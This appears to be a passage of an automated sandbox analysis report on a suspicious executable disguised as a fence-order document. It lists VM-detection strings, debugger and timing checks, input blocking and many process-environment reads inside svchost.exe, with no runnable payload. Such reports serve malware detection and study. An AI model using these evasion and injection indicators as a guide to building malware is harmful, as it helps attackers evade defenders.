          Source: explorer.exe, 00000003.00000002.3816237958.0000000008F27000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1377287114.0000000008F27000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.3074348658.0000000008F27000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.2272115538.0000000008F27000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: Hyper-V RAWT`
          Source: explorer.exe, 00000003.00000000.1373914152.0000000003249000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: VMware SVGA IIES1371
          Source: explorer.exe, 00000003.00000000.1373914152.0000000003249000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: VMware Virtual RAM
          Source: explorer.exe, 00000003.00000000.1373914152.0000000003249000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: VMware-42 27 88 19 56 cc 59 1a-97 79 fb 8c bf a1 e2 9d
          Source: explorer.exe, 00000003.00000000.1372817528.0000000000C74000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000
          Source: explorer.exe, 00000003.00000003.3074348658.0000000008DFE000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#4&224f42ef&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
          Source: explorer.exe, 00000003.00000000.1372817528.0000000000C74000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
          Source: C:\Users\user\Desktop\2024 Lusail Fence-WITH STICKER-2-003.exeAPI call chain: ExitProcess graph end nodegraph_0-98733
          Source: C:\Users\user\Desktop\2024 Lusail Fence-WITH STICKER-2-003.exeAPI call chain: ExitProcess graph end nodegraph_0-98913
          Source: C:\Windows\SysWOW64\svchost.exeProcess information queried: ProcessInformationJump to behavior
          Source: C:\Windows\SysWOW64\svchost.exeProcess queried: DebugPortJump to behavior
          Source: C:\Windows\SysWOW64\control.exeProcess queried: DebugPortJump to behavior
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_00409AA0 rdtsc 2_2_00409AA0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0040ACE0 LdrLoadDll,2_2_0040ACE0
          Source: C:\Users\user\Desktop\2024 Lusail Fence-WITH STICKER-2-003.exeCode function: 0_2_00DF41FD BlockInput,0_2_00DF41FD
          Source: C:\Users\user\Desktop\2024 Lusail Fence-WITH STICKER-2-003.exeCode function: 0_2_00D83B4C GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,0_2_00D83B4C
          Source: C:\Users\user\Desktop\2024 Lusail Fence-WITH STICKER-2-003.exeCode function: 0_2_00DB5CCC EncodePointer,EncodePointer,___crtIsPackagedApp,LoadLibraryExW,GetLastError,LoadLibraryExW,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,IsDebuggerPresent,OutputDebugStringW,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,0_2_00DB5CCC
          Source: C:\Users\user\Desktop\2024 Lusail Fence-WITH STICKER-2-003.exeCode function: 0_2_00DFC304 LoadLibraryA,GetProcAddress,0_2_00DFC304
          Source: C:\Users\user\Desktop\2024 Lusail Fence-WITH STICKER-2-003.exeCode function: 0_2_018C34D0 mov eax, dword ptr fs:[00000030h]0_2_018C34D0
          Source: C:\Users\user\Desktop\2024 Lusail Fence-WITH STICKER-2-003.exeCode function: 0_2_018C3470 mov eax, dword ptr fs:[00000030h]0_2_018C3470
          Source: C:\Users\user\Desktop\2024 Lusail Fence-WITH STICKER-2-003.exeCode function: 0_2_018C1E70 mov eax, dword ptr fs:[00000030h]0_2_018C1E70
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036D437C mov eax, dword ptr fs:[00000030h]2_2_036D437C
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036B2349 mov eax, dword ptr fs:[00000030h]2_2_036B2349
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036B2349 mov eax, dword ptr fs:[00000030h]2_2_036B2349
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036B2349 mov eax, dword ptr fs:[00000030h]2_2_036B2349
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036B2349 mov eax, dword ptr fs:[00000030h]2_2_036B2349
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036B2349 mov eax, dword ptr fs:[00000030h]2_2_036B2349
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036B2349 mov eax, dword ptr fs:[00000030h]2_2_036B2349
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036B2349 mov eax, dword ptr fs:[00000030h]2_2_036B2349
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036B2349 mov eax, dword ptr fs:[00000030h]2_2_036B2349
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036B2349 mov eax, dword ptr fs:[00000030h]2_2_036B2349
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036B2349 mov eax, dword ptr fs:[00000030h]2_2_036B2349
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036B2349 mov eax, dword ptr fs:[00000030h]2_2_036B2349
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036B2349 mov eax, dword ptr fs:[00000030h]2_2_036B2349
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036B2349 mov eax, dword ptr fs:[00000030h]2_2_036B2349
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036B2349 mov eax, dword ptr fs:[00000030h]2_2_036B2349
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036B2349 mov eax, dword ptr fs:[00000030h]2_2_036B2349
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036B035C mov eax, dword ptr fs:[00000030h]2_2_036B035C
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036B035C mov eax, dword ptr fs:[00000030h]2_2_036B035C
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036B035C mov eax, dword ptr fs:[00000030h]2_2_036B035C
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036B035C mov ecx, dword ptr fs:[00000030h]2_2_036B035C
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036B035C mov eax, dword ptr fs:[00000030h]2_2_036B035C
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036B035C mov eax, dword ptr fs:[00000030h]2_2_036B035C
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036FA352 mov eax, dword ptr fs:[00000030h]2_2_036FA352
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036D8350 mov ecx, dword ptr fs:[00000030h]2_2_036D8350
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0370634F mov eax, dword ptr fs:[00000030h]2_2_0370634F
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03708324 mov eax, dword ptr fs:[00000030h]2_2_03708324
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03708324 mov ecx, dword ptr fs:[00000030h]2_2_03708324
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03708324 mov eax, dword ptr fs:[00000030h]2_2_03708324
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03708324 mov eax, dword ptr fs:[00000030h]2_2_03708324
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0366A30B mov eax, dword ptr fs:[00000030h]2_2_0366A30B
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0366A30B mov eax, dword ptr fs:[00000030h]2_2_0366A30B
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0366A30B mov eax, dword ptr fs:[00000030h]2_2_0366A30B
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0362C310 mov ecx, dword ptr fs:[00000030h]2_2_0362C310
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03650310 mov ecx, dword ptr fs:[00000030h]2_2_03650310
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036403E9 mov eax, dword ptr fs:[00000030h]2_2_036403E9
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036403E9 mov eax, dword ptr fs:[00000030h]2_2_036403E9
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036403E9 mov eax, dword ptr fs:[00000030h]2_2_036403E9
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036403E9 mov eax, dword ptr fs:[00000030h]2_2_036403E9
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036403E9 mov eax, dword ptr fs:[00000030h]2_2_036403E9
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036403E9 mov eax, dword ptr fs:[00000030h]2_2_036403E9
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036403E9 mov eax, dword ptr fs:[00000030h]2_2_036403E9
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036403E9 mov eax, dword ptr fs:[00000030h]2_2_036403E9
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0364E3F0 mov eax, dword ptr fs:[00000030h]2_2_0364E3F0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0364E3F0 mov eax, dword ptr fs:[00000030h]2_2_0364E3F0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0364E3F0 mov eax, dword ptr fs:[00000030h]2_2_0364E3F0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036663FF mov eax, dword ptr fs:[00000030h]2_2_036663FF
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036EC3CD mov eax, dword ptr fs:[00000030h]2_2_036EC3CD
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0363A3C0 mov eax, dword ptr fs:[00000030h]2_2_0363A3C0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0363A3C0 mov eax, dword ptr fs:[00000030h]2_2_0363A3C0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0363A3C0 mov eax, dword ptr fs:[00000030h]2_2_0363A3C0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0363A3C0 mov eax, dword ptr fs:[00000030h]2_2_0363A3C0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0363A3C0 mov eax, dword ptr fs:[00000030h]2_2_0363A3C0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0363A3C0 mov eax, dword ptr fs:[00000030h]2_2_0363A3C0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036383C0 mov eax, dword ptr fs:[00000030h]2_2_036383C0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036383C0 mov eax, dword ptr fs:[00000030h]2_2_036383C0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036383C0 mov eax, dword ptr fs:[00000030h]2_2_036383C0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036383C0 mov eax, dword ptr fs:[00000030h]2_2_036383C0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036B63C0 mov eax, dword ptr fs:[00000030h]2_2_036B63C0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036DE3DB mov eax, dword ptr fs:[00000030h]2_2_036DE3DB
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036DE3DB mov eax, dword ptr fs:[00000030h]2_2_036DE3DB
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036DE3DB mov ecx, dword ptr fs:[00000030h]2_2_036DE3DB
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036DE3DB mov eax, dword ptr fs:[00000030h]2_2_036DE3DB
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036D43D4 mov eax, dword ptr fs:[00000030h]2_2_036D43D4
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036D43D4 mov eax, dword ptr fs:[00000030h]2_2_036D43D4
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0362E388 mov eax, dword ptr fs:[00000030h]2_2_0362E388
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0362E388 mov eax, dword ptr fs:[00000030h]2_2_0362E388
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0362E388 mov eax, dword ptr fs:[00000030h]2_2_0362E388
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0365438F mov eax, dword ptr fs:[00000030h]2_2_0365438F
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0365438F mov eax, dword ptr fs:[00000030h]2_2_0365438F
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03628397 mov eax, dword ptr fs:[00000030h]2_2_03628397
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03628397 mov eax, dword ptr fs:[00000030h]2_2_03628397
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03628397 mov eax, dword ptr fs:[00000030h]2_2_03628397
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03634260 mov eax, dword ptr fs:[00000030h]2_2_03634260
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03634260 mov eax, dword ptr fs:[00000030h]2_2_03634260
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03634260 mov eax, dword ptr fs:[00000030h]2_2_03634260
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0362826B mov eax, dword ptr fs:[00000030h]2_2_0362826B
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036E0274 mov eax, dword ptr fs:[00000030h]2_2_036E0274
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036E0274 mov eax, dword ptr fs:[00000030h]2_2_036E0274
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036E0274 mov eax, dword ptr fs:[00000030h]2_2_036E0274
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036E0274 mov eax, dword ptr fs:[00000030h]2_2_036E0274
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036E0274 mov eax, dword ptr fs:[00000030h]2_2_036E0274
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036E0274 mov eax, dword ptr fs:[00000030h]2_2_036E0274
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036E0274 mov eax, dword ptr fs:[00000030h]2_2_036E0274
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036E0274 mov eax, dword ptr fs:[00000030h]2_2_036E0274
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036E0274 mov eax, dword ptr fs:[00000030h]2_2_036E0274
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036E0274 mov eax, dword ptr fs:[00000030h]2_2_036E0274
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036E0274 mov eax, dword ptr fs:[00000030h]2_2_036E0274
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036E0274 mov eax, dword ptr fs:[00000030h]2_2_036E0274
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036B8243 mov eax, dword ptr fs:[00000030h]2_2_036B8243
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036B8243 mov ecx, dword ptr fs:[00000030h]2_2_036B8243
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0370625D mov eax, dword ptr fs:[00000030h]2_2_0370625D
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0362A250 mov eax, dword ptr fs:[00000030h]2_2_0362A250
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03636259 mov eax, dword ptr fs:[00000030h]2_2_03636259
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036EA250 mov eax, dword ptr fs:[00000030h]2_2_036EA250
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036EA250 mov eax, dword ptr fs:[00000030h]2_2_036EA250
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0362823B mov eax, dword ptr fs:[00000030h]2_2_0362823B
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036402E1 mov eax, dword ptr fs:[00000030h]2_2_036402E1
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036402E1 mov eax, dword ptr fs:[00000030h]2_2_036402E1
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036402E1 mov eax, dword ptr fs:[00000030h]2_2_036402E1
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0363A2C3 mov eax, dword ptr fs:[00000030h]2_2_0363A2C3
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0363A2C3 mov eax, dword ptr fs:[00000030h]2_2_0363A2C3
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0363A2C3 mov eax, dword ptr fs:[00000030h]2_2_0363A2C3
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0363A2C3 mov eax, dword ptr fs:[00000030h]2_2_0363A2C3
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0363A2C3 mov eax, dword ptr fs:[00000030h]2_2_0363A2C3
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_037062D6 mov eax, dword ptr fs:[00000030h]2_2_037062D6
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036402A0 mov eax, dword ptr fs:[00000030h]2_2_036402A0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036402A0 mov eax, dword ptr fs:[00000030h]2_2_036402A0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036C62A0 mov eax, dword ptr fs:[00000030h]2_2_036C62A0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036C62A0 mov ecx, dword ptr fs:[00000030h]2_2_036C62A0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036C62A0 mov eax, dword ptr fs:[00000030h]2_2_036C62A0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036C62A0 mov eax, dword ptr fs:[00000030h]2_2_036C62A0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036C62A0 mov eax, dword ptr fs:[00000030h]2_2_036C62A0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036C62A0 mov eax, dword ptr fs:[00000030h]2_2_036C62A0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0366E284 mov eax, dword ptr fs:[00000030h]2_2_0366E284
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0366E284 mov eax, dword ptr fs:[00000030h]2_2_0366E284
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036B0283 mov eax, dword ptr fs:[00000030h]2_2_036B0283
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036B0283 mov eax, dword ptr fs:[00000030h]2_2_036B0283
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036B0283 mov eax, dword ptr fs:[00000030h]2_2_036B0283
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03704164 mov eax, dword ptr fs:[00000030h]2_2_03704164
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03704164 mov eax, dword ptr fs:[00000030h]2_2_03704164
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036C4144 mov eax, dword ptr fs:[00000030h]2_2_036C4144
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036C4144 mov eax, dword ptr fs:[00000030h]2_2_036C4144
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036C4144 mov ecx, dword ptr fs:[00000030h]2_2_036C4144
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036C4144 mov eax, dword ptr fs:[00000030h]2_2_036C4144
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036C4144 mov eax, dword ptr fs:[00000030h]2_2_036C4144
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0362C156 mov eax, dword ptr fs:[00000030h]2_2_0362C156
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036C8158 mov eax, dword ptr fs:[00000030h]2_2_036C8158
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03636154 mov eax, dword ptr fs:[00000030h]2_2_03636154
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03636154 mov eax, dword ptr fs:[00000030h]2_2_03636154
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03660124 mov eax, dword ptr fs:[00000030h]2_2_03660124
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036DE10E mov eax, dword ptr fs:[00000030h]2_2_036DE10E
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036DE10E mov ecx, dword ptr fs:[00000030h]2_2_036DE10E
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036DE10E mov eax, dword ptr fs:[00000030h]2_2_036DE10E
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036DE10E mov eax, dword ptr fs:[00000030h]2_2_036DE10E
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036DE10E mov ecx, dword ptr fs:[00000030h]2_2_036DE10E
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036DE10E mov eax, dword ptr fs:[00000030h]2_2_036DE10E
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036DE10E mov eax, dword ptr fs:[00000030h]2_2_036DE10E
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036DE10E mov ecx, dword ptr fs:[00000030h]2_2_036DE10E
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036DE10E mov eax, dword ptr fs:[00000030h]2_2_036DE10E
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036DE10E mov ecx, dword ptr fs:[00000030h]2_2_036DE10E
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036DA118 mov ecx, dword ptr fs:[00000030h]2_2_036DA118
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036DA118 mov eax, dword ptr fs:[00000030h]2_2_036DA118
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036DA118 mov eax, dword ptr fs:[00000030h]2_2_036DA118
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036DA118 mov eax, dword ptr fs:[00000030h]2_2_036DA118
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036F0115 mov eax, dword ptr fs:[00000030h]2_2_036F0115
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_037061E5 mov eax, dword ptr fs:[00000030h]2_2_037061E5
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036601F8 mov eax, dword ptr fs:[00000030h]2_2_036601F8
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036F61C3 mov eax, dword ptr fs:[00000030h]2_2_036F61C3
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036F61C3 mov eax, dword ptr fs:[00000030h]2_2_036F61C3
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036AE1D0 mov eax, dword ptr fs:[00000030h]2_2_036AE1D0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036AE1D0 mov eax, dword ptr fs:[00000030h]2_2_036AE1D0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036AE1D0 mov ecx, dword ptr fs:[00000030h]2_2_036AE1D0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036AE1D0 mov eax, dword ptr fs:[00000030h]2_2_036AE1D0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036AE1D0 mov eax, dword ptr fs:[00000030h]2_2_036AE1D0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03670185 mov eax, dword ptr fs:[00000030h]2_2_03670185
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036EC188 mov eax, dword ptr fs:[00000030h]2_2_036EC188
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036EC188 mov eax, dword ptr fs:[00000030h]2_2_036EC188
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036D4180 mov eax, dword ptr fs:[00000030h]2_2_036D4180
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036D4180 mov eax, dword ptr fs:[00000030h]2_2_036D4180
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036B019F mov eax, dword ptr fs:[00000030h]2_2_036B019F
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036B019F mov eax, dword ptr fs:[00000030h]2_2_036B019F
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036B019F mov eax, dword ptr fs:[00000030h]2_2_036B019F
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036B019F mov eax, dword ptr fs:[00000030h]2_2_036B019F
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0362A197 mov eax, dword ptr fs:[00000030h]2_2_0362A197
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0362A197 mov eax, dword ptr fs:[00000030h]2_2_0362A197
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0362A197 mov eax, dword ptr fs:[00000030h]2_2_0362A197
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0365C073 mov eax, dword ptr fs:[00000030h]2_2_0365C073
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03632050 mov eax, dword ptr fs:[00000030h]2_2_03632050
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036B6050 mov eax, dword ptr fs:[00000030h]2_2_036B6050
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0362A020 mov eax, dword ptr fs:[00000030h]2_2_0362A020
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0362C020 mov eax, dword ptr fs:[00000030h]2_2_0362C020
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036C6030 mov eax, dword ptr fs:[00000030h]2_2_036C6030
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036B4000 mov ecx, dword ptr fs:[00000030h]2_2_036B4000
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036D2000 mov eax, dword ptr fs:[00000030h]2_2_036D2000
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036D2000 mov eax, dword ptr fs:[00000030h]2_2_036D2000
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036D2000 mov eax, dword ptr fs:[00000030h]2_2_036D2000
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036D2000 mov eax, dword ptr fs:[00000030h]2_2_036D2000
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036D2000 mov eax, dword ptr fs:[00000030h]2_2_036D2000
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036D2000 mov eax, dword ptr fs:[00000030h]2_2_036D2000
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036D2000 mov eax, dword ptr fs:[00000030h]2_2_036D2000
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036D2000 mov eax, dword ptr fs:[00000030h]2_2_036D2000
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0364E016 mov eax, dword ptr fs:[00000030h]2_2_0364E016
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0364E016 mov eax, dword ptr fs:[00000030h]2_2_0364E016
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0364E016 mov eax, dword ptr fs:[00000030h]2_2_0364E016
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0364E016 mov eax, dword ptr fs:[00000030h]2_2_0364E016
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0362A0E3 mov ecx, dword ptr fs:[00000030h]2_2_0362A0E3
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036380E9 mov eax, dword ptr fs:[00000030h]2_2_036380E9
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036B60E0 mov eax, dword ptr fs:[00000030h]2_2_036B60E0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0362C0F0 mov eax, dword ptr fs:[00000030h]2_2_0362C0F0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036720F0 mov ecx, dword ptr fs:[00000030h]2_2_036720F0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036B20DE mov eax, dword ptr fs:[00000030h]2_2_036B20DE
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036280A0 mov eax, dword ptr fs:[00000030h]2_2_036280A0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036C80A8 mov eax, dword ptr fs:[00000030h]2_2_036C80A8
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036F60B8 mov eax, dword ptr fs:[00000030h]2_2_036F60B8
